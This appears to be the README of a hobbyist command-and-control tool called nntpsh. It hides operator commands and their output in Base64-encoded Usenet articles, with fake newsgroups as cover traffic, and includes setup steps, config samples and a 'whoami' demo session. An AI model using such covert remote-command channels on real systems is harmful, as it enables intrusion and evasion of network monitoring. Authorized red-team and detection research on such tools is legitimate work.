A very basic command-and-control (C2) framework that operates over the NNTP (Usenet) protocol. Remember Usenet?? Traffic (commands and responses) are embedded in article bodies using Base64 encoding, making it appear as legitimate newsgroup traffic to network inspection tools. I built this for fun while thinking about protocols that could be used for a C2 and to blend-in. Obviously most organizations are not going to have NNTP running on their network to blend-in with, so this was just for fun and something for me to test Claude's teeth on with a fresh subscription. It's intentionally weak (no crypto), no attempt at EDR evasion, and minimal features.
For authorized penetration testing and educational use only.
nntpsh consists of two main components:
- Server (
nntpsh-server.py): A NNTP news server that serves fake newsgroups and articles to legitimate clients while delivering commands to connected agents - Agent (
nntpsh-agent.py/nntp-agent.ps1): A client that polls the server for commands, executes them, and posts output back as newsgroup articles
- The server runs as a standard NNTP server on TCP port 119
- Legitimate NNTP clients see a normal news server with multiple newsgroups and articles
- The agent connects and selects a designated C2 newsgroup (default:
alt.binaries.misc) - Commands from the operator are Base64-encoded into article bodies and retrieved by the agent via
ARTICLErequests - Command output is Base64-encoded and posted back via
POSTrequests - All traffic follows RFC 977/2980 protocol specifications
- Python 3.6+
- PyYAML (
pip install pyyaml)
git clone <repository-url>
cd nntpsh
pip install pyyamlpython3 nntpsh-server.py [bind_ip] [port]| Argument | Default | Description |
|---|---|---|
bind_ip |
0.0.0.0 |
IP address to bind to |
port |
119 |
TCP port to listen on |
Once running, type commands at the console to queue them for the next agent check-in.
Example:
# Start server on all interfaces, port 119
python3 nntpsh-server.py
# Start server on localhost, port 8119
python3 nntpsh-server.py 127.0.0.1 8119python3 nntpsh-agent.py <server_ip> [poll_interval] [port] [c2_group]| Argument | Default | Description |
|---|---|---|
server_ip |
(required) | IP address of the C2 server |
poll_interval |
5 |
Seconds between server check-ins |
port |
119 |
NNTP server port |
c2_group |
alt.binaries.misc |
C2 newsgroup name |
Example:
# Connect to server at 192.168.1.100, poll every 5 seconds
python3 nntpsh-agent.py 192.168.1.100
# Connect with 10-second poll interval on custom port
python3 nntpsh-agent.py 192.168.1.100 10 8119Configuration files are located in the config/ directory:
Defines the newsgroups served by the NNTP server and C2 channel settings:
c2:
newsgroup: "alt.binaries.misc" # C2 channel (must match agent)
server_greeting: "200 NNTP Service Ready - posting allowed"
server_name: "news.localnet.example"
newsgroups:
- name: "comp.lang.python"
description: "The Python programming language"
article_count: 1423
# ... additional fieldsDefines fake article content for cover traffic:
fake_authors:
- "John Smith <jsmith@example.com>"
# ...
fake_subjects:
- "Re: Best practices for error handling"
# ...
fake_bodies:
- |
I've been working on this for a while...
# ...
c2_article:
from_template: "sys-notify@binaries.example.net (System Notifier)"
subject_prefix: "Binary post"
newsgroup: "alt.binaries.misc"Terminal 1 - Start Server:
$ python3 nntpsh-server.py
============================================================
nntpsh - NNTP C2 Server
For authorized penetration testing only.
============================================================
[*] C2 newsgroup: alt.binaries.misc
[*] Serving 8 newsgroups
[*] Starting NNTP server on 0.0.0.0:119
[*] Type commands to send to the agent. Ctrl+C to exit.
[*] Listening on 0.0.0.0:119
[192.168.1.50:54321] Agent selected C2 group
whoami
[>] Queued for agent: whoami
[192.168.1.50:54321] Delivered command: whoami
[192.168.1.50:54321] Agent output received:
testuser
Terminal 2 - Start Agent:
$ python3 nntpsh-agent.py 192.168.1.100
[*] nntpsh agent starting
[*] Server: 192.168.1.100:119
[*] C2 group: alt.binaries.misc
[*] Poll interval: 5s
[*] Polling...
[<] Received: whoami
[>] Output buffered (9 bytes)
[>] Output posted (9 bytes)
- Transport: TCP (default port 119)
- Protocol: RFC 977 (NNTP) + RFC 2980 (NNTP Extensions)
- Encoding: Base64 for C2 payloads
- Commands supported: GROUP, ARTICLE, HEAD, BODY, STAT, POST, LIST, LISTGROUP, XOVER/OVER, MODE READER, HELP, QUIT, CAPABILITIES
- The server appears as a legitimate NNTP news server to casual inspection
- Commands are hidden within Base64-encoded article bodies
- Cover traffic (fake articles) is generated from configurable templates
- The C2 newsgroup should blend in with other legitimate-looking groups
- Single pending command at a time (no command queue)
- No encryption (traffic is Base64-encoded but not encrypted)
- No authentication mechanism
- Command output may be truncated for very large outputs
This tool is provided for authorized security testing, research, and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before conducting penetration tests.
For authorized use only. See individual source files for details.